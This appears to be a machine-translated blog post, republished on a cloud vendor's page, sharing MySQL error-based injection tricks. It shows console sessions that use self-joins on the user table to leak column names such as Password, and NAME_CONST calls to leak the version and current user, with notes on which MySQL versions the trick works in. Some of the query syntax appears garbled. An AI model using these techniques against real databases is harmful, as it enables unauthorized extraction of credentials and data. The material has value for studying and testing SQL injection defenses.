New Tips in MySQL Injection

Source: Internet
Author: User
Tags mysql injection

// Use MySQL to expose fields with errors
Mysql> SELECT * FROM (SELECT * FROM user a join user B) C;
ERROR 1060 (42S21): Duplicate column name Host
Mysql> SELECT * FROM (SELECT * FROM user a join user B USING (Host) C;
ERROR 1060 (42S21): Duplicate column name User
Mysql> SELECT * FROM (SELECT * FROM user a join user B USING (Host, User) C;
ERROR 1060 (42S21): Duplicate column name Password
.....
// Obtain information
// It may be a version problem. I failed to test it.
Mysql> SELECT NAME_CONST (SELECT Host FROM user LIMIT 0, 1), 0 );
ERROR 1210 (HY000): Incorrect arguments to NAME_CONST
It seems that the NAME_CONST parameter must be CONST or something is wrong.
Try again next time.


Update: It is indeed a version problem (the parameters in the higher version must be all const; otherwise, an error is reported). This method does not seem quite universal.
Mysql> SELECT version ();
+ --------------------- +
| Version () |
+ --------------------- +
| 5.0.27-community-nt |
+ --------------------- +
1 row in set (0.00 sec)

Mysql> SELECT NAME_CONST (SELECT user (), 0 );
+ ---------------- +
| Root @ localhost |
+ ---------------- +
| 0 |
+ ---------------- +
1 row in set (0.00 sec)

-------------------------------------
Mysql> SELECT version ();
+ ------------------ +
| Version () |
+ ------------------ +
| 5.1.35-community |
+ ------------------ +
1 row in set (0.00 sec)

Mysql> SELECT NAME_CONST (SELECT version (), 0 );
ERROR 1210 (HY000): Incorrect arguments to NAME_CONST

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.